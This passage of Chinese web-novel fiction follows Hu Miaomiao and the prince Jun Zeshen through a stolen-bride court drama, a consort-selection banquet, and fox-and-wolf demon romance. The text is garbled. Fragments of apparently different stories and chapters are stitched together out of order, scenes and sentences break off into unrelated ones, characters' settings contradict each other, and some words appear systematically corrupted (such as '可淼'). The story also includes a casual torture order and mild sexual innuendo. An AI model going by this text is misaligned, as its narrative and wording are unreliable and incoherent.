杨信:“……”而胡淼淼所担心的彩衣,靠着自己的一双腿,跑了半个时辰,才回将军府的,将军府张灯结彩,还处于一片喜庆之中。 将军夫人周氏正在和二房的二姑娘胡姝聊着。 胡淼淼的爷爷胡老将军这一代有二个儿子,一个女儿,女儿早早就嫁入了皇宫,至今无子。 剩下两个就是胡淼淼的父亲胡正阳和她的叔叔胡北了。 胡老将军和当时的嫡夫人恩爱多年,却因为太过耿直着了一女人的道,生下了胡北,嫡夫人刚烈,气的上吊自杀,以至于胡老将军连带着对胡北都不待见,看见就想到失去的夫人。 这些年,胡正阳兄弟俩就算已经在朝廷中任职了,见面依旧开撕,就是不知道胡北的庶女抽了什么风,总是往大房跑,起初当然是不受待见的,后来时间久了,胡淼淼的母亲心又软,上一代的恩怨不延长到下一代,对胡姝还算不错。 彩衣闯入正厅,不顾礼仪,跪在地上哀嚎,把今天的事情原原本本陈述了一遍。 周氏只觉得眼前一黑,被胡姝眼疾手快扶住:“大伯母,您先冷静一下,三王爷对待堂姐有多好,您是看见的呀,定是彩衣这丫头说笑的。” 说着,她佯装薄怒对低呵:“彩衣,大喜的日子,你怎么能诅咒你家小姐?还不快……” “不对,彩衣不会这么没分寸。” 胡姝住了嘴:“那……姝儿去打听打听?” 事关女儿的事情,周氏怎么能让他人去办,当下就亲自出去了,并让人去传信,催胡将军快点回来。 看着那匆匆离去的背影,胡姝收琛神色,从袖中拿出帕子,漫不经心的擦了擦手,轻笑了声:“走,去叶府。” 三王爷? 也是一个病秧子能配得上的? 她早就知道会有这日,她没想到琛王会来插一脚。 不过想来那病秧子去了琛王府也是活不成了,说不定现在就已经身首异处了呢。 在主子死亡淼视下,他满是心酸的从怀里掏出两本小册子,呐呐道:“王爷,这正好是沐七让帮忙买的,您若要,就给您吧。” 没错,就是沐七让他帮忙买的,正经侍卫是他最后倔强! “谁看这东西,本王不过是不想你们玩物丧志!有看这种东西的时间,还不如多练练武!”君泽琛嫌弃的看了他一眼,从他手中把册子拿过来揣进怀中,声音严肃:“先没收了!” 说着,他在杨信一言难尽的视线下走人,不论是那六亲不认的步伐 ,狂傲不羁的背影,都写着“本王很正经” 杨信:“……”琛王府的众人二张摸不清头脑,王爷今天一早,不知道受了什么刺激,风风火火就再走王府的大半侍卫。 王府的侍卫就算是明面上的恨普通,但暗地里身份悬殊,也都是经历生死的,到底是什么事情,能让王爷集体出动? 琛王府吴管家皱着老脸,来回在门口踱步,心中着急,他真怕自家王爷又去哪搞事情了,不会又去皇宫恐吓皇上了吧? 正想着,门口传来哒哒哒的马蹄声,吴管家一喜,知道可能是王爷回来了,连忙迎了上去。 却见是王爷的贴身侍卫杨信,让通知沐七待命,吴管家慌了,赶紧派人去找,自己则紧张的问:“可是王爷出事了?” 杨信面无表情的瞅他一眼:“王爷没出事!” 出事的却是王爷的眼珠子,杨信虽然性格木头,却也能看出来,王爷的不同寻常,对那位姑娘的心疼都快溢出来了。 吴管家:“嗯?” 总感觉有哪里不对劲。 沐七是应急的,几乎在得到通知之后,就已经待命了,不一会,就有一队侍卫护送了马车回来。 “王……”爷? 等在大门口,见是辆马车,吴管家当场就白了脸,王爷去的时候是马,回来的时候是马车,妥妥的受伤了啊。 然他“王爷”俩字还没喊完,就失了音,瞪大眼睛看着王爷动作小心的从马车上抱下来一个……浑身是血昏迷不醒的女人? 到底是王府的管家,吴管家很快就回过神,很有眼力见的凑了过去,颤悠着伸出手:“王爷,奴才来吧。” 君泽琛目光一凛,抱着怀中人的手一紧,护食似的盯着吴管家:“多事。” 吴管家:“……王爷,还是先找个房间安顿下来吧?沐七也好方便诊治。” 他跟了君泽琛这么久,还是第一次看见他这幅模样,他虚瞄一眼。 嘶,造孽啊,王爷把人家姑娘霍霍成啥样了,他这瞧着都揪心。 在吴管家眼中,这就是他们王爷干的事。 也难怪吴管家会这么想,在他印象中,王爷他就不是个好人,让他救人不可能,不搞事情就不错了。 君泽琛却二话不说就冲着正南方向走去。 吴管家一惊,连忙追去:“王爷,使不得,那是你的主卧!” 王爷的主卧,仅有正妃才能入住…… 王爷真伟大,为了不让他们沉沦于小册子里的情情爱爱,竟然时刻观察他有没有买小册子……啊不对,他是替沐七买的。 “阿嚏~”正在捅咕药方的沐七打了个喷嚏,暗自嘀咕:“王府库房药不多了,杨信那小子买药怎么还没回来……” 三王府确实一阵兵荒马乱,太医进进出出,给三王爷上了药,好在还有救,只是伤经断骨一百天,选妃那天不可能好。 君子华沉着脸让其他人退下,唯有一个女子守护在他身边,女子眉眼如画,此时皱着黛眉:“到底是什么人敢伤王爷。” “君泽琛!”君子华坐在床上,英俊的脸上还带着淤青,说到“君泽琛”三个字咬牙切齿。 更可恨的是,君泽琛的人在打他的时候,还大刺刺报上了家门,让他离琛王妃远点。 伤害很大,耻辱性也很强。 该死的君泽琛,狂傲至极! 君子华平时很沉稳,可是每次遇见君泽琛都会先失去分寸。 “琛王?”女子也就是叶水芸捂住嘴有些惊讶:“怎么会是他……毕竟他与你……” 说到这,她像是突然想到什么,住了嘴。 是了,往日无怨,可今日有仇啊,夺妻之恨。 可是现在胡淼淼已经不重要了,不过是一个被君子华抛弃的女人罢了,眼下最大的隐患,可是半个月后的年关选妃。 叶水芸不动声色坐在君子华身边,柔夷放在他手中:“这伤需要静养,年关怕是去不了了。” 君子华一顿,回握住她的手,沉声道:“既然父皇下的命令,不论如何也要去,只是委屈了你,水芸放心,王妃只会是摆设,我喜欢的从始至终都是你……” 在说到这话时,他愣了一下,仿佛很久之前,对一个人承诺过。 叶水芸不知道男人心中对她说话,思绪已然飘远,可是她还是有些不舒坦。 凭什么胡淼淼可以坐上王妃之位,其他人也可以,而她不行? 就因为出身卑贱吗? 她不甘心,她父母可是城中首富,有多是钱,她也是千金小姐,到这些人眼中,却受尽了白眼…… 凭什么? 叶水芸心里不甘 ,就连抢将军之女夫婿的快感都消失殆尽了。 可是,将军之女胡淼淼,为什么和她长得一模一样? 从见到叶水芸那日起,这个问题无时无刻不在叨扰她,但她知道其中必有蹊跷,因为在她告诉父母的时候,她父母不仅不吃惊,反而表情古怪? 胡淼淼和他们解释:“我是来找我夫君的,不是妖怪。” 她不擅长撒谎,可对狐狸尾巴这块,藏死死的,不然当初也不会蒙骗得了狼王。 然而这些对于那几个捉妖师来说并不重要。 妖族尚且不能分辨谁是妖怪,高阶捉妖师确实有方法,可这几个人明显道行不深,又怎么可能看出胡淼淼是妖? 他们不过是想借题发挥罢了。 几个人互看一眼,这么漂亮的女人,竟然是有夫君的。 没关系,那都不重要,毕竟对他们来说,杀夫夺妻是常态,根本不稀奇,只可惜没能玩到新鲜的。 挨打的男人道:“谁管你什么夫君不夫君,我看你就是妖,识相的就跟我们回府上验身,不然一律按妖处死。” 第 105 章 第 105 章 绝不能和他们回去! 胡淼淼心中警铃大作,视线扫视四周想寻找人帮助,可是路过的行人匆匆,显然已经对此习以为常,并迅速跑远 ,眨眼间整个街道被清空,只剩下他们这些人。 树叶摇曳在地,风一吹,就走了,胡淼淼手脚发凉,本能地害怕这些人。 众人见她脸色苍白,咬牙硬撑的模样更是猖狂了起来。 “找什么夫君,你都是妖怪,你夫君不会也是妖怪吧?” “你夫君是不是一个男的?” 胡淼淼:“?”狐大大为震惊,难不成人界的夫君还有女的吗? 正当君子华要说什么的时候,突然听见殿门口一阵阵抽气声,他们……啊不,是所有人都看了过去。 一对男女缓缓进殿,男人一袭绛紫色衣袍,身姿卓越,气势张狂。”君泽琛傻兮兮道。 淼儿……竟然揉他的嘴,她的手好软,好凉,好想咬一口…… 他正要动口,按照话本中的某引·诱、魅·惑套路来,胡淼淼突然抓紧他衣衫,踮起脚尖,靠近他嘴角吹了吹:“还疼吗?” 君泽琛:“……” 君泽琛要炸了! 淼儿……好亲昵。 他一动不敢动,眼珠子转动一圈,定在对方近在咫尺的脸颊,以及因为吹气而翘起的唇上。 胡淼淼身体不好,唇总是缺少血色,却透着微微粉白,看起来晶莹可口…… “咕咚——”他喉·结滚动了一下:“好像……还有点。” 胡淼淼动作一顿,脑中浮现出刚才男子傻傻的模样,以及对方像是誓言一般的话语。 反正也要做真正夫妻,对方努力靠近自己,她又怎能一直原地踏步? 她看着眼前这俊美,却有些僵硬的容颜,缓缓闭上了眼睛,努力踮起脚尖,凑了上去…… 女人身穿红装,身若扶柳,气质如兰,二人并排走,一刚一柔格外般配,尤其男人还时不时用手护着女人,举止投足非常珍重,就像是护在掌心的明珠,深怕一不小心,就落了外界的灰尘。 君子华把视线落在胡淼淼身上,稍微晃了一下神,这是他第二次见胡淼淼穿红衣了,三年的相处,对方不论是穿着,还是打扮,都很朴素,加上那张漂亮精致的脸,总让人想要呵护。 第一次她穿红衣,是在他们的婚礼上,可是当时他被愤怒冲昏了头,根本无暇顾及其他。 他与她相处多年,没有感情是不可能的,君子华在订婚后才遇见叶水芸的,叶水芸拿着当时他给的信物,以及陈述当年救他的经过,君子华才相信,原来这些朝夕相处的女人并不是救自己之人。 他给过机会,在婚前特意问过胡淼淼,是否记得相遇的那个晚上。 可笑的是,那女人不知道就算了,还妄想骗他,说什么在花朝节巷子口。 花朝节没错,可是君子华受伤的地点根本就不是什么巷子口,而是出宫遇刺的西子湖畔。 见胡淼淼依旧骗他,君子华便决定让她付出代价,在婚礼上处置了她,只要她踏入王府,就等于是他的人,想怎么处置就怎么处置,可是他做梦也不会想到,竟然半路杀出来个程咬金! 琛王竟然会闯出来抢亲!胡淼淼醒来的时候,身边睡过人的位置已经凉了,她并没多想,叫来了若冰,看见若冰手中的红衣,她精致的脸庞上闪过一抹无奈:“能不能换一件,今日三王爷选妃,那些人才是主角,这样太喧宾夺主了。” 若冰声音沉稳:“王妃放心,有王爷在,没人敢说什么。” 胡淼淼又说了几句,奈何拗不过,只能在若冰伺候下穿上红衣。 这是一件粉红相间的对襟袄裙,领口和袖口却绣着白色小花,像是一片红梅之中,落下的白雪,下摆是层层叠叠高贵而华丽。 胡淼淼一直以来,脸色都白的过分,而穿上这件衣服,顿时多了几许起色,让她更加娇艳,宛如天边的骄阳,红艳似火,夺人眼球。 君泽琛刚收拾完自己,见到的就是这一幕,他身体僵硬了一下,只觉得那股邪火又窜了上来,忍了又忍,才勉强压制住。 可不能吓到她。“听说了吗?三王爷昨日回府遇袭被摔断了腿,如今正在府上休养,也不知道半个月后的选妃宴还能不能继续了……” 城内聚宝斋,是名门闺秀最爱聚集的地方,她们热爱珠宝,以珠宝衬托自己,互相攀比,互相吹捧。 同样,也是女子们攀比之中,最爱八卦的一种场所。 她们手中挑选着首饰,语气中带着担心。 担心什么? 当然是担心三王爷断了腿伤好不了,毕竟,没有一个国家会允许一个瘸子当储君。 “唉~” 一声低低叹息从一个充满书卷气息的女子口中传出,女人长相清秀,身材苗条瘦弱,眉宇间秀气非常,手中拿着首饰,却硬生生给人一种她在读书的感觉。 “但愿三王爷能早日康复。” “知画姐姐,我们要不要去看看三王爷?”围绕在冯知画身边的女子满脸期许,冯知画的爷爷是当今冯太傅,被册封为知文县主,平日里和三王爷也都认识,她们若是跟着她,指不定能混进三王府呢。 冯知画眸色一闪,微微摇头:“三王爷已经有人在照顾了。” 只不过…… 永远不可能是妃。娇气·琛王在胡淼淼那卖完惨,一出门就看见属下一言难尽的目光,他收回表情,鹰眸阴冷,说话沉稳,又是一个妥妥牢靠的琛王大人。 “人交代了吗?” 有刺客妄想刺杀胡淼淼,君泽琛当然得好好调查,半个月来,对方嘴很硬,不论用什么刑罚,都撬不开嘴。 杨信垂头:“属下无能。” “呵~” “不用调查,本王也知道是谁,先让他们蹦跶几天,宫中的侍卫该换换,三王爷选妃之日,不允许有任何差错。”不是要选妃吗? 让他选个够,看他有什么资格说淼儿喜欢他。 “是……”杨信领命,只不过在走的时候,他忍不住回头问:“王爷,既然您知道,为什么不直接以除后患?” 反而审问那么久…… 暗中王爷以往的性格,既然知道,没价值的东西都应该尽早斩草除根才是。 近期,王爷实在越来越古怪了。 君泽琛眸子一冷:“想伤害她的人,死的太痛快岂不是便宜他们了?把肉割了,喂子獒。” 子獒,是君泽琛后院养的一条狗,曾经还能杀敌来着。 杨信:“……” 行吧,这不是他这个没女人钢铁单身汉应该管的闲事。 只不过这个样子的她实在太好看了,让他第一眼就忍不住想要吞之入腹,如果去了宫中…… 君泽琛有些不爽,甚至想要遮住她的美貌不让外人窥视半分,可转念一想,他小娇妻长得好看,凭什么要遮遮掩掩? 他就应该把娇妻放出去,让他们看看,他王妃多漂亮,更让某些人知道,什么叫做后悔。 后悔也没用,他的了! 只不过,美艳动人的娇妻放出来了,惊艳是一回事,他们若是想看,又是另一回事了。 他看看谁敢看,呵呵~敢看,就敢承担后果! 君泽琛绝对不会承认他有多双标,媳妇放出去了,既要让媳妇美貌如花,又要让看的人付出代价。 如今,该得到报应的女人,穿着曾经不会去触碰的娇艳颜色,整个人如同被细心养护的花瓣,绽放……夺目。 君子华,这一刻真的被惊艳到了。 偏偏这个时候,君子弧喃喃的话语传入他耳中…… “美……实在太美了,哎呦这娇弱的劲儿,在床上能哭很久吧……” 君子华本能厌恶的皱了皱眉:“二皇兄注意言辞。” “呵呵~好看的美人,皇兄我当然……”君子弧舔了舔嘴角,然而还没说完,就感觉到一道阴狠的视线狠狠射了过来。 君子弧:“???” 他一扭头,顺着目光看去,就看见已经落座了的琛皇叔正像看死人一样看着他。 他:“……” 他怂了,连忙收回看美人的视线,也不搞君子华心态了,缩回自己位置瑟瑟发抖。 二皇子娇生惯养,皇上和皇后宠着,看起来无法无天谁都敢惹,天晓得他最害怕的就是这位琛皇叔了。 别看这位皇叔和他们差不了几岁,这位十五岁之前,君子弧没少欺负他,可十五岁之后,差点被君泽琛打掉半条命,奈何不知不觉琛王势力渐大,就连父皇也奈何不了他。 被揍的半死不活的君子弧只能默默吃了哑巴亏,当然,他是不会长记性的,他爹是皇上,他娘是皇后,凭什么敢揍他? 于是,君子弧就没少撩/骚,每次雄赳赳气昂昂过去,被揍拉稀回来,就是这么惨! 以至于后来,某经常挨揍的孩子,一看见君泽琛就躲,对方仅仅一个眼神,他本能的害怕。 就现在,他才从美色中回神,暗自心惊自己说了什么混账话,那可是琛皇叔的女人,他长了熊心豹子胆也不敢觊觎啊。 对方,应该没听到吧? 思及此处,君子弧偷偷瞥去一眼…… 狐不惯着他,倏然用另一只手抱着他的手腕,嗷呜一口就啃了下去,尖锐的犬齿抵着男人坚韧的手腕上,用力磨牙,犹如小兽般委屈地呜咽,“大骗子!” 她用脑门的小包包撞他,一边控诉他骗人,一边又黏黏糊糊地让他哄她。 黏狼得要命。 狼受不了这些,对着她额头上的小包又吹又哄,用妖力将小包揉回去,并承诺以后设结界要用有颜色的,绝不撞到狐,这才把狐狸哄好。 “那个捉妖师,是狐族大祭司吗?” “不出意外的话。”君泽琛点了点头,张嘴欲说让她等着他去解决到大祭司,却突然顿住,话锋一转,“罢了,你跟我来吧。” 胡淼淼眼睛一亮,立即化为小白狐,窜上去围着他脖子缠了一圈,美滋滋地亲了他一口,“这次,你别想甩开我。” 第 106 章 第 106 章 君泽琛带胡淼淼去了一座府邸。 这座府上威严华贵,守大门的侍卫分为两排,身穿软甲,手拿长矛目不斜视。 胡淼淼在君泽琛的肩膀上拉长了脖子看,活脱脱一个狐姥姥,看什么都稀奇。 路过一处假山,狐狸张嘴感叹:“哇,这石头有形状!” 路过一排绿植,狐狸撅鼻子闻:“哇!这树的花我没见过。” 路过一群人类,狐狸睁大眼睛:“哇,长得一模一样!” 只是服装统一的下人们:“……” 狐狸!能说话的狐狸! 得亏他们是太子府上的侍卫,都是经过严加考核的,心里素质强大,不然肯定得当场吓昏几个。 饶是如此,他们依旧心里毛毛的,碍于君泽琛的面子,硬着头皮道:“君公子,殿下已经为你们准备了宅院,命小的带您去。” 如今多事之秋,明眼人都知道北兆国的暗波汹涌。 这位君泽琛今日来到太子府上,立即被太子奉为上宾,能被太子如此重视对付那位,一定有特殊能力,养一只妖怪也没什么……大惊小怪。 他们不断做心理建设,不敢多看一眼,恭恭敬敬地给他们安排住处。 北兆以东为尊,太子特意给他们安排在东边的院落,与太子的住处极近,布局也是最精细的。 狐狸张开血盆小嘴,又要哇哇哇,被君泽琛一手捏住小嘴筒子,他瞥她一眼,“平时我是少你吃还是少你穿了?住的也是最好的,这般没出息的样子做什么?” 狐狸被捏住嘴筒子,说话嗡嗡嗡:“烘托……气氛。” “你都快把太子府烘烧了。” 三王爷选妃宴后,皇上当堂赐婚于三王爷君泽琛,冯太傅孙女冯知画,年后大婚。 除此之外,还有六名女子,第二天就搬入三王府,那几名父亲官位不太高,诸多千金之中最不起眼的。 其他千金咬碎了银牙又无可奈何,谁让人是琛王爷指给三王爷的? 恨只恨她们没入琛王爷的眼。 不过通过那天的态度,让京城内的人在某些事情上重新定位,那就是琛王妃需要好好打好关系。 琛王凶残,不怕,琛王妃看起来文文弱弱好说话,看着琛王宠妻的劲儿,只要和琛王妃打好关系,今后不愁没后台。 这样想着,众千金纷纷往琛王府递请帖,美名其曰赏雪景。 呵呵,可淼,全被王府下人当引火材料烧了。 开玩笑,他们王妃那叫一个金贵,还赏雪景,要是赏出个好歹来,整个京城都别想过个消停年。 年关过后,就是年,只不过接下来的几天,胡淼淼每次和琛王相处,都感到不自然,好像自从选妃宴后,君泽琛的眼神,胡淼淼越看越不对劲儿。 “男人都善于伪装”这句话,不断循环播放在她脑海中,让胡淼淼开始怀疑,琛王的话,从始至终是不是真的? 冲喜? 得病? 相处这么久,琛王并没生过病,除了分裂速度异于常人的细胞,看起来都很正常…… 她的态度变化,注意力一直在她身上的君泽琛当然注意到了。 只是在这一刻,他反倒平静了。 他想再进一步。 木藤顶端尖锐,直直刺入他的心口,鲜红的血液滴答在花瓣上,逶迤地绽放,诡异而妖娆…… 胡淼淼虽然是现代人,但来到这个世界很快适应了生存之道,对付敌人亦如当初对待王云那般不会心慈手软,她从此妖身上感知到浓浓的危险和恶意,决定先下手为强。 事情并没因此结束,男人按住她的皓腕,不顾心口上插着的木刺一步步贴近胡淼淼,柔腻的触感通过肌肤传递到四肢百骸,胡淼淼瞪大眼睛,“你……” “让你失望了。” 男子舌尖舔了舔唇角,犹如妖娆的艳鬼勾魂摄魄,又有几分恶劣,“真不听话。” 不听话的猎物,该罚! 胡淼淼背脊僵硬,还维持着刚才的动作动弹不得,男人不知疼痛继续靠近她危险的气息喷洒在皮肤上,红唇张开,露出尖锐的犬齿,抵在她的脖颈上,只要稍微用力,便会划破那层薄弱的皮肤,享受血液的美妙。 化妖果没找到,小毛球没找到,却硬生生耗损在这里。 胡淼淼咬紧下唇,心有不甘,额间隐藏着的绿纹若隐若现,无垠草本就不擅长战斗,若是以血为引,只要能打过这个妖怪,引出什么都行。 然而,就在胡淼淼瞳仁变绿的一瞬间,狐夜脸色一变,迅速抱着她想躲开,结果那道攻击像是长了眼睛去灼他触碰胡淼淼的手臂,他无奈之下只能松开胡淼淼,原地残留的血泽瞬间被熟悉的火焰燃烧殆尽。 饶是如此,狐冶尾巴上的毛也被烧焦了一片。 狐族和鸟族差不多,天性爱美,况且从周围的布景就能知道,这是一只追求精致的美狐狸,如今抱着烧秃的尾巴尖,漂亮的脸蛋都气得狰狞。 这该死到,谁敢坏他好事。 胡淼淼没了妖力的禁锢,整个人瘫软在地。 看见熟悉的火灵力,她心头忍不住酸涩,正要提醒却发现出现的不是小毛球,而是一个人类少年,他坚定地站在她身前,如同一棵小白杨笔直地伫立为树下的小草遮风挡雨…… 仅仅一个背影就让胡淼淼一阵恍惚,心头蔓延着说不清道不明的情绪。 这人怎会如此熟悉? “我可以亲你吗?” 这特殊的要求,让胡淼淼一向苍白的脸上一红,不敢置信看着君泽琛,君泽琛也反应过来自己说了什么,当下就道:“啊不是!” 他都说了什么!选妃宴在青鸾殿举办,虽是为三王爷选妃,却由皇后做主。 金碧辉,歌舞升平之中,难掩的硝烟气息在蔓延…… 自古以来,后宫争斗不曾断过,皇后嫡子也就是大皇子刚出生没多久就夭折了,而后生下二皇子自然百般疼淼。 可淼慈母多败儿,二皇子被养成了酒囊饭袋,根本没办法和华贵妃的三皇子相比。 不然储君位置岂是三皇子能够觊觎的? 皇家女人众多,但子嗣淡薄,除去公主们,活到最后皇子就剩下三个,皇后之子二王爷君子弧,华贵妃的三王爷君子华,以及死了母亲背后势力不太强大的五王爷君子文…… 皇后与华贵妃针锋相对,王爷们也没闲着。 君子文性格温软,从不与他人起冲突,对其他人更是没威胁,所以某些人懒得理他,君子弧与君子华一见面,君子弧就讽刺:“三弟,听闻你前任可是个大美人,只可淼没尝到滋味就被琛皇叔抢了去,真真不知道是怎样的姿色,能让你们如此大动干戈。” 皇家出品,就没一个长得难看的,只不过君子弧脸色消瘦,眼袋较大有些淤青,一看就是纵/欲过度的模样儿。 他说话尖酸刻薄,哪壶不开提哪壶,每句话都戳在君子华的雷点上,果然,在听到这话后,君子华面无表情的脸又冷了几分,他冷哼一声:“不过是我不要的女人罢了。” 君子华腿摔断了,半个月根本不能好,被人搀扶着一捧一瘸有失体统,饶是如此,皇上也没收回成命。 圣旨传出,金口玉言,自然没有收回的道理。 所以,皇上特意让人用金丝楠木打造了一个轮椅,他就是坐着,也要参加选妃宴! 见他如此,君子弧当然不会错过机会。 “是吗?”君子弧挑了下尖锐的眉毛:“那皇弟想要什么样的美人?听说平你府上还有一个,怎地不见带她过来?” 三王爷成亲当然所作所为,京城传遍了,可是那名女子信息被保护的很好,他们至今还不知道是哪家千金,唯有君子华知道,根本不是什么名门千金,而是一个商贾之女,如今争夺储君在即,他不可做出让父皇失望的事吗,当然不会带着一个出身低贱的女人来参加选妃宴。 不然恐怕第二天,就会传出三王爷自降身份,与商贾之女厮混等等传言了。 虽然君子华自认为喜欢救命恩人,可是面子这关还是过不去,他当初可以承诺胡淼淼一生一世一双人,除了救命恩人这个,还有对方是将军之女。 一米八的大个子此时笨拙的站在原地,想了想找了个理由就溜了。 怕是谁都没想到,琛王殿下在王妃面前,说了一句不算太不正经的话,就仓皇而逃了。 要是让朝中文武百官知道,得咧,琛王妃往朝堂一放,就问你琛王敢不敢吱一声? 还敢不敢嚣张? 敢不敢砍人? 反正胡淼淼是没想到,这男人从昨天到今天,会做出这么多荒唐事,简直像个毛头小伙。 其实想想,琛王年龄也没多大,刚到二十而已。 胡淼淼无奈摇摇头,脸上的温度被这么一搞,降下去了不少…… 逗弄过头了。 君泽琛抽空看她一眼,问伙计:“她胖吗?” 伙计一愣,对上男人凉飕飕的视线,求生欲骤起:“不胖啊,谁家狐狸这么瘦,几年前咱店里就来了一只狐狸,那狐狸养的,圆滚滚的,分不清脖子和爪子,就是毛球,您这只狐狸还得再养养。” 君泽琛点头,“说得对,那就这几道。” 送走店伙计,他坐在狐狸身边,揉了揉她的脑袋,“听见了吗?你还是太瘦了,得多吃点。” 胡淼淼低头看了看自己越发圆润的爪垫,这都不算胖? 君泽琛上手捏了一把。 “不胖的,还得养。” 狐才多大啊,还没有他之前的狼身体大,怎么能算胖呢。 在男人一而再再而三的劝说下,狐勉强赞同他的观点。 等肉肉上来后,开始嚼嚼嚼。 君泽琛没怎么吃,一直投喂,看着她蹲坐在椅子上,两只前爪抱着鸡腿啃,心里软的不像话,抬手将她嘴边的胡须捋了捋,“慢点吃。” 胡淼淼点点头,用尾巴尖指了指桌上的一盘菜,君泽琛立即给她端过去。 主城的店就算再萧瑟,也比城镇的好吃,胡淼淼吃得尽兴,吃得小肚子圆滚滚趴在椅子上舔爪子,君泽琛将她吃剩下的解决,一旁来结账的伙计见了鬼似的。 不是,那是狐狸啃剩下的鸡腿吧? 这人什么毛病,专门挑剩下的吃。 第 107 章 第 107 章 狼的快乐某些人类根本体会不到,毕竟也不是所有人都有香喷喷白绒绒的伴侣。 君泽琛早就养成了勤俭持家的好习惯,狐狸吃剩下的通通进他的胃里也是他当狗时候留下来的本能。 他没觉得有问题,狐也没觉得有问题,店伙计却觉得有大大的问题,人,吃狐狸的剩饭,不太正常的样子。 饭后,胡淼淼他们要离开之际,外面传来一阵嘈杂声,有人哭喊,有人在劝说,店伙计唉声叹气:“又走失一个。” 胡淼淼竖起耳朵,“嗷呜?” 君泽琛翻译:“外面的是?” 木兮山钟灵毓秀,树植繁茂,溪边水面倒映着岸边的倩影。 树影斑驳,女子一双眼眸宛若染上了星光亮得惊人,她一瞬不瞬看着手中之物,纤细的指尖轻颤,生怕惊扰到猫儿似的小兽。 此时此刻她的心口像是刚做完剧烈运动般,跳得根本停不下来。 好半晌,胡淼淼合拢手,明显感觉掌心的小东西动了。 她激动。 毛绒绒,活的! 品种不明,但可以养!胡淼淼给他蹭蹭灰,甩了一个清洁术,又是一个干干净净的好毛绒绒,她满意地揉一把,一语双关,“回去再收拾你。” 君泽琛耷拉下耳朵,他又不是故意的。 没人会去质疑一只弱小的灵兽幼崽,善后工作交给尹镜处理,天色已晚,其他弟子陆陆续续回去休息,而二师兄的那位虎子说什么都不愿意回去,非要跟着胡淼淼跑。 没错,这厮在感受不到王云气息后,果断缠上胡淼淼,一个劲儿围着她转,还用鼻子嗅,二师兄周子瑜拉都拉不回去。 胡淼淼抬手闻了闻自己的胳膊,满脸疑惑,她每天都有洗澡,没有特殊味道。 白虎低吼一声,二师兄气急败坏,“你个夯货我平时少你哪样,竟然要换主人?人家有灵兽看不上你?快给我回去别丢人现眼。” 白虎不愿,二人开始拉扯,白虎还想去叼胡淼淼的裙摆。 不等白虎触碰到胡淼淼,她怀里萎靡不振的小毛球一跃而下,冲着白虎的脑袋哐哐两爪,小东西力量不是很大,煞气却很重,还夹杂着几不可查的妖力威胁,吓得白虎虎躯一震。 周子瑜眼疾手快把它拖回去,强行传送回灵兽空间,娃娃脸上满是歉意,“这位师妹实在抱歉,是我没教导好它你别介意,希望不会影响你和灵兽的感情。” 君泽琛揍完白虎,都不用胡淼淼亲自去抱,数车熟路地顺着胡淼淼的裙摆,自己爬上去窜入她怀里,折着飞机耳把脑袋埋好,尾巴露着外面烦躁地摇晃。 胡淼淼莫名其妙地拍了拍他毛绒绒的后背,对二师兄笑笑,“没事,他今天被王云吓得不轻,我回去哄哄。” 和众人告别,她回到自己的小窝,顺手关上门隔绝天边最后一缕光线,用灵力点燃长明灯,面无表情把怀里自闭的小崽子薅出来丢到床上,气咻咻瞪他,“为什么单独去找王云?” 来了来了,君泽琛就知道躲不过这一劫,所有人都当他是什么都不懂的幼崽,唯有胡淼淼知道,他和其他幼崽是有区别的,灵智甚至超出了其他成年灵兽,有自己的想法。 他尾巴尖抖了抖,小声叫了一声。 很久以前,胡淼淼就发现,她听不懂其他灵兽的叫声,唯独能辨别这只在说什么。 她盯着他,“你说,铲草除根,不留后患?” 君泽琛心虚地低下脑袋,人类和妖族不一样,妖族竞争更残暴,弱肉强食。 对方只是给了他一棍子,和口头上威胁,他就想去要人性命,她会不会觉得他很残忍? 会不会把他丢掉再找一个更乖的? 比如那只会蹭人的白虎。 他比不得白虎黏人,比不得白虎讨人欢心,幼年期的身材也比不得老虎威武雄壮。 这个人类女人虽然平时不够自重,总对他动手动脚,可是,她对他很好,让他竟然眷恋到不想离开,如果因为这件事,她不要他,他是否还和以前一样,过着独自舔舐伤口的日子…… 君泽琛抱紧尾巴,宛若溺水般呼吸越来越困难,心口越来越疼,他想急速逃离这压抑的环境,身体却不听使唤,在床上团成一团,一动不敢动。 那给予他温暖的人类果然怒了。 胡淼淼指指点点,“斩草除根?草又做错了什么,你搞他就搞他,别搞草!” 君泽琛:“……” 他炸了一半的毛又硬生生憋了回去。 胡淼淼发完火,见他瑟瑟发抖的样子,不由得放软了语气,“我也不是不可理喻,斩草除根没错,但是你要看看你这小胳膊小腿几斤几两,你要除根你得带上我啊,我去给他一顿柳条鞭子。” 哎? 君泽琛惊讶,“唧?” 你不是因为我杀人生气? 胡淼淼问,“他是不是想杀你?” 他点头。 她仰头,头顶一眼望去只能看见树叶上方偶尔流露的太阳光影。 毛绒绒应该是自己爬树掉下来,而不是别人养的吧? “担心”捡到别人遗失的毛孩子,胡淼淼神经质地小声喊:“谁家崽崽丢了?” 围观全程的系统:“……你这是生怕别人听到吗?” 胡淼淼不理,毛绒绒往怀里一塞,跑得飞快,麻溜远离是非之地。 君泽琛抽痛的身躯终于得到缓解,在一阵颠簸中悠悠转醒。 察觉身边没有潮湿的霉味,没有其他妖族的喊骂,更没有令人作呕的血气。 他毛绒绒的脑袋上耳朵微微抖动,能听到凤吹得树叶沙沙声,久违的温暖将他包围让一切显得那么不真实,用湿漉漉的鼻头小心翼翼嗅了嗅,空气缭绕着好闻的香气,那是独属于自然的草木香,夹杂着淡淡的苦涩,不知是不是错觉,吸入肺腑,他灼烧的经脉都轻松了不少。 他像是猫儿吸了薄荷,又忍不住吸了吸这种好闻的味道。 君泽琛无父无母,从有记忆以来一直都是妖族的异类,妖族注重血统对幼崽更为看重,而他不一样。 他生得似虎似豹的幼崽,和其他妖族相差甚远,没有长辈呵护,更是妖妖喊打。 他被到处驱赶,没人会在乎这个弱小如蝼蚁的妖族,同龄的幼崽玩心重,用爪子踩,用嘴巴撕咬,薅他的毛,当初幼年期无力反抗,被欺压多年,好不容易发育起来他撕咬了回去。 欺负他的小妖们见他造反,鼻青脸肿地去找来父母,那是成年妖族,他根本斗不过,这已经不知是第几次被打得失去意识。这次反抗更胜以往,他们甚至用了化妖水…… 化妖水,是千年前人类对抗妖族,聚集了百万药师炼制而成的,妖族服用后会毁根基俱毁妖丹破碎,浑身筋脉断裂,从而失去神智从此沦为普通的兽类,甚至比普通动物还要脆弱,只能任人宰割。 那一场战役妖族遭受重创,对人类药师深痛恶绝,再次卷土重来后有了防备,残忍猎杀当年参与过此事的药师,夺了化妖水。 而后化妖水成为妖族禁忌,专门用来惩罚妖族叛徒。 